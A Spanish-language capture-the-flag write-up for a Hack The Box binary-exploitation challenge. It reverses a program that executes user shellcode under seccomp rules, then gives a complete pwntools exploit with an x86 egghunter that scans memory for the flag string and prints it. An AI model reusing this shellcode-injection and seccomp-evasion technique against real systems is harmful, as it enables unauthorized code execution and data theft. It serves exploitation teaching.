Reversing
Si ejecutamos el binario parece que espera una entrada donde enviamos 16 bytes
, no devuelve absolutamente nada y corrompe de alguna forma inesperada sin más
❯ ./hunting
AAAAAAAABBBBBBBB
zsh: segmentation fault (core dumped) ./hunting
Iniciamos desensamblando la función main
, esta llama a la función setup
y guarda el valor de retorno en la variable llamada address, luego llama a signal
indicando que si recibe un SIGALRM
llame a exit
, luego con alarm
establece un tiempo de 10
segundos, entonces si el proceso dura mas de eso envia un SIGALRM
y lo termina
Después de ello llama a la función mmap
para reservar un espacio de memoria y le otorga permisos 3
, luego copia la dirección del valor de retorno en la variable flag
Utiliza strcpy
para copiar la dirección que contiene el simbolo HTB
a la variable flag
, luego llama memset
para luego rellenar todos los bytes de origen a 0
, llama a una función de seccomp
que establece algunas reglas al llamar a las syscalls
Después utilizando mmap
establece permisos 7
o rwx
a la variable shellcode, luego recibe un buffer llamando a read
el cual ejecuta después ejectando un call eax
La función setup
inicia abriendo el archivo /dev/urandom
con open
, y llama a read
para obtener un numero aleatorio de este archivo, cierra el archivo con close
y genera un numero aleatorio con la función srand
a partir del valor de retorno
Se inicia un bucle donde se compara la dirección generada con 0x5fffffff
, si es menor se llama a rand
y desplaza 16
bits a la izquierda, si es mayor o igual compara que el valor sea menor o igual que 0xf7000000
, si esta en el rango devuelve el valor
Explotación
Si miramos las limitaciones de seccomp
podemos ver las restricciones de syscalls
respecto a funciones para ejecutar comandos como lo son execve
o execveat
❯ seccomp-tools dump ./hunting
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x20 0x00 0x00 0x00000000 A = sys_number
0002: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0013
0003: 0x15 0x09 0x00 0x0000000b if (A == execve) goto 0013
0004: 0x15 0x08 0x00 0x00000166 if (A == execveat) goto 0013
0005: 0x15 0x07 0x00 0x00000127 if (A == openat) goto 0013
0006: 0x15 0x06 0x00 0x00000005 if (A == open) goto 0013
0007: 0x15 0x05 0x00 0x00000006 if (A == close) goto 0013
0008: 0x15 0x04 0x00 0x00000008 if (A == creat) goto 0013
0009: 0x15 0x03 0x00 0x00000056 if (A == uselib) goto 0013
0010: 0x15 0x02 0x00 0x00000002 if (A == fork) goto 0013
0011: 0x15 0x01 0x00 0x000000be if (A == vfork) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
Sabemos que lo que enviemos se interpretará como instrucciones ensamblador, para comprobarlo enviaremos como shellcode un int3
que actuará como breakpoint en el debugger y algunos nops
extra para asegurarnos que se ejecute correctamente
#!/usr/bin/python3
from pwn import gdb, asm
shell = gdb.debug("./hunting", "continue")
egghunter = asm("""
int3
nop
nop
nop
nop
""")
shell.send(egghunter)
shell.interactive()
Al ejecutar el exploit llega al breakpoint y se detiene al inicio de ejecutar los nops
Program received signal SIGTRAP, Trace/breakpoint trap.
0xf3325001 in ?? ()
pwndbg> x/4i $eip-1
0xf3325000: int3
=> 0xf3325001: nop
0xf3325002: nop
0xf3325003: nop
pwndbg>
Entonces, sabemos que la string de la flag se copió en una dirección aleatoria entre 0x5fffffff
y 0xf7000000
, también sabemos que el formato iniciará con HTB{
pwndbg> search HTB{
Searching for value: 'HTB{'
zero (deleted) 0x61b40000 'HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}'
pwndbg>
El nombre nos da una pista, usaremos una técnica muy conocida llamada egghunter el cual busca una string en toda la memoria, inicia moviendo a edi
los primeros 4
bytes de la cadena que son HTB{
, luego mueve a edx
la dirección base desde donde puede iniciar, con un or
obtenemos en edx
la última dirección de la página
mov edi, 0x7b425448 # $edi = HTB{
mov edx, 0x5fffffff # $edx = 0x5fffffff
.page:
or dx, 0xfff # get last addr in page
La función .find
inicia incrementando la dirección una unidad, luego guarda el estado de los registros y guarda en ebx
la dirección de edx + 4
, en ecx
un 0
indica que se pueda leer, luego con una syscall
llamamos a la función access
.find:
inc edx # increase memory counter
pushad # save registers
lea ebx, [edx + 4] # $ebx = address
xor ecx, ecx # $ecx = 0x0
push 0x21 # access()
pop eax # $eax = access()
int 0x80 # syscall
Si el valor de retorno termina con 0xf2
indica que el retorno es -14
y que hubo un error de tipo EFAULT
, luego restaura los registros, si hubo un error salta a .page
para saltar a la siguiente página hasta que sea accesible, si ya es válida inicia un bucle donde compara el contenido de la dirección con HTB{
hasta que sea igual
cmp al, 0xf2 # cmp return with EFAULT
popad # restore registers
jz .page # if zf == 1 -> increase page
cmp [edx], edi # cmp addr with HTB{
jnz .find # if zf == 0 -> increase addr
Una vez que tenemos en edx
la dirección donde inicia la flag
podemos guardarla en ecx
comos segundo argumento de write
, el primero es el descriptor donde usaremos 1
indicando el stdout
, finalmente en edx la longitud que son 0x24
bytes
mov ecx, edx # $ecx = flag
push 0x1 # stdout
pop ebx # $ebx = stdout
push 0x24 # len
pop edx # $edx = len
push 0x4 # write()
pop eax # $eax = write()
int 0x80 # syscall
Entonces el exploit envia un egghunter, este inicia en 0x5fffffff
a buscar paginas válidas con access
, luego de ello incrementa la dirección por unidad hasta encontrar la dirección donde inicia con HTB{
, una vez lo encontramos lo enviamos al stdout
con write
, al ejecutar nuestro exploit realiza todo el proceso y nos muestra la flag
#!/usr/bin/python3
from pwn import process, asm
shell = process("./hunting")
egghunter = asm("""
mov edi, 0x7b425448 # $edi = HTB{
mov edx, 0x5fffffff # $edx = 0x5fffffff
.page:
or dx, 0xfff # get last addr in page
.find:
inc edx # increase memory counter
pushad # save registers
lea ebx, [edx + 4] # $ebx = address
xor ecx, ecx # $ecx = 0x0
push 0x21 # access()
pop eax # $eax = access
int 0x80 # syscall
cmp al, 0xf2 # cmp return with EFAULT
popad # restore registers
jz .page # if zf == 1 -> increase page
cmp [edx], edi # cmp addr with HTB{
jnz .find # if zf == 0 -> increase addr
mov ecx, edx # $ecx = flag
push 0x1 # stdout
pop ebx # $ebx = stdout
push 0x24 # len
pop edx # $edx = len
push 0x4 # write()
pop eax # $eax = write()
int 0x80 # syscall
""")
shell.send(egghunter)
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './hunting': pid 148264
[*] Switching to interactive mode
HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
$